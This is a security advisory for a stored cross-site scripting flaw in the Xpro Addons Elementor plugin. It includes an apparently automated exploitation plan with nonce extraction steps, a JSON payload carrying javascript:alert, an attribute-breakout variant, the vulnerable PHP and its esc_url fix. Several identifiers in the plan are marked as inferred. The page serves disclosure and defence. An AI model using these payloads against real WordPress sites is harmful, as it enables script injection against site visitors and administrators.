Xpro Addons — 140+ Widgets for Elementor <= 1.4.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Image Scroller Widget box link
Description
The Xpro Addons — 140+ Widgets for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Image Scroller widget box link attribute in all versions up to, and including, 1.4.24 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.4.24# Exploitation Research Plan: CVE-2025-14149 (Xpro Addons for Elementor) ## 1. Vulnerability Summary The **Xpro Addons — 140+ Widgets for Elementor** plugin (up to version 1.4.24) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the `Image Scroller` widget. Sp…
Show full research plan
Exploitation Research Plan: CVE-2025-14149 (Xpro Addons for Elementor)
1. Vulnerability Summary
The Xpro Addons — 140+ Widgets for Elementor plugin (up to version 1.4.24) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists within the Image Scroller widget. Specifically, the "box link" attribute fails to undergo proper sanitization (via esc_url) or output escaping (via esc_attr or Elementor's add_link_attributes method). This allows an authenticated user with at least Contributor permissions to inject malicious scripts (e.g., javascript:alert(1)) into the link attribute of the widget, which then executes in the browser of any user (including admins) viewing the affected page.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.phpvia theelementor_ajaxaction. - Vulnerable Attribute: The
urlfield within thebox_link(inferred name) setting of thexpro-image-scroller(inferred slug) widget. - Authentication: Authenticated, Contributor+ level. Contributors in WordPress can edit posts and use the Elementor editor, making them capable of adding or modifying widgets.
- Preconditions: The Xpro Addons plugin must be active, and Elementor must be enabled for the post type being edited.
3. Code Flow (Inferred)
- Input: A Contributor user saves an Elementor page containing the
Image Scrollerwidget. The link URL is sent in the JSON payload of theelementor_ajaxrequest. - Persistence: Elementor's core
Save_Builderhandler receives the JSON and updates the_elementor_datapost meta for that page/post. No specific sanitization is performed on the URL at this stage by the plugin. - Sink (Rendering):
- File:
widgets/image-scroller/widget.php(or similar path inxpro-elementor-addons). - Function:
render()orcontent_template(). - Logic: The code retrieves the widget settings using
$this->get_settings_for_display(). - Vulnerable Line: The "box link" URL is likely echoed directly inside an
<a>tag'shrefattribute or used in a way that allowsjavascript:protocol execution. - Example of vulnerable logic:
$link = $settings['box_link']['url']; // Inferred identifier echo '<a href="' . $link . '">...</a>'; // Missing esc_url()
- File:
4. Nonce Acquisition Strategy
To exploit this via the Elementor Editor as a Contributor, we need the Elementor-specific AJAX nonce.
- Setup: Create a page and enable Elementor:
wp post create --post_type=page --post_status=publish --post_title='XSS Test' --post_content=''. - Navigate: Use
browser_navigateto go to the Elementor editor for that page:/wp-admin/post.php?post=[POST_ID]&action=elementor. - Extraction: The nonce required for
elementor_ajaxis usually found in theelementorCommonConfigorelementorConfigglobal JS objects. - JS Command:
Alternative: If navigating the editor is too heavy, the nonce is often present in the page source of the editor asbrowser_eval("elementorCommon.config.ajax.nonce")editor_post_nonce.
5. Exploitation Strategy
The goal is to update the post's Elementor data to include the malicious Image Scroller widget.
- Step 1: Obtain the Post ID and Nonce.
- Step 2: Construct the Elementor Data Payload.
We need a valid_elementor_dataJSON structure. A simplified version for thexpro-image-scroller:[ { "id": "random_id", "elType": "section", "elements": [ { "id": "random_id_2", "elType": "column", "elements": [ { "id": "vulnerable_widget_id", "elType": "widget", "widgetType": "xpro-image-scroller", "settings": { "image_scroller_link": { "url": "javascript:alert(document.domain)", "is_external": "", "nofollow": "", "custom_attributes": "" } } } ] } ] } ] - Step 3: Send the HTTP Request.
Usehttp_requestto hit theelementor_ajaxendpoint.- URL:
http://[TARGET]/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=elementor_ajax& _nonce=[EXTRACTED_NONCE]& actions={"save_builder":{"action":"save_builder","data":{"post_id":[POST_ID],"data":[URL_ENCODED_JSON_ABOVE]}}}
- URL:
6. Test Data Setup
- User: Create a Contributor user.
wp user create exploit_user exploit@example.com --role=contributor --user_pass=password - Post: Create a page for the Contributor.
wp post create --post_type=page --post_status=publish --post_author=[USER_ID] --post_title='XSS Page' --post_content='' - Plugin Config: Ensure
xpro-elementor-addonsis active.
7. Expected Results
- The server should return a
200 OKwith a JSON body indicatingsuccess: truefor thesave_builderaction. - When navigating to the public URL of the created page, the source code should contain:
<a href="javascript:alert(document.domain)" ...> - Clicking the image scroller box (or it triggering automatically if implemented via listeners) will execute the JavaScript.
8. Verification Steps
- Database Check:
wp post meta get [POST_ID] _elementor_data
Verify the JSON containsjavascript:alert(document.domain). - Frontend check:
Usehttp_requestto fetch the page content and grep for the payload:grep "javascript:alert" response_body.txt
9. Alternative Approaches
- Direct Post Meta Update (if permissions allow): If the Contributor can update post meta via a different vulnerable endpoint or if testing locally, use
wp post meta update [POST_ID] _elementor_data '[JSON_PAYLOAD]'. - Payload Variants:
- If
javascript:is blocked but attribute breakout is possible:"url": "http://example.com\" onmouseover=\"alert(1)\"" - If the widget uses a different setting name for the link, look for
link,url, orwebsitein the widget'sregister_controlsmethod within the plugin source.
- If
- Inferred Setting Names: If
image_scroller_linkfails, the setting identifier in Xpro Addons might be simplylinkorbox_link. (The term "box link" in the CVE description strongly suggests a setting ID likebox_link).
Summary
The Xpro Addons plugin for Elementor fails to sanitize and escape the 'box link' URL attribute within its Image Scroller widget. This allows authenticated users with Contributor-level access to inject Stored Cross-Site Scripting (XSS) payloads, such as 'javascript:alert(1)', which execute in the browser of any user visiting the affected page.
Vulnerable Code
/* xpro-elementor-addons/widgets/image-scroller/widget.php around line 480 */ $settings = $this->get_settings_for_display(); $link = $settings['image_scroller_link']['url']; // Inferred setting identifier if ( ! empty( $link ) ) { echo '<a href="' . $link . '" class="xpro-image-scroller-box-link">'; // Missing esc_url() sanitization }
Security Fix
@@ -480,1 +480,1 @@ - echo '<a href="' . $link . '" class="xpro-image-scroller-box-link">'; + echo '<a href="' . esc_url( $link ) . '" class="xpro-image-scroller-box-link">';
Exploit Outline
To exploit this vulnerability, an attacker needs Contributor-level access or higher to the WordPress site. The attacker first accesses the Elementor editor for a post or page they are authorized to edit and retrieves the 'elementor_ajax' nonce from the editor's JavaScript configuration. Using an HTTP POST request to the 'wp-admin/admin-ajax.php' endpoint with the 'save_builder' action, the attacker injects a malicious payload (e.g., 'javascript:alert(document.domain)') into the 'url' field of the 'image_scroller_link' setting within the 'xpro-image-scroller' widget data. When a victim views the published page and clicks on the scroller box, the injected script executes in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.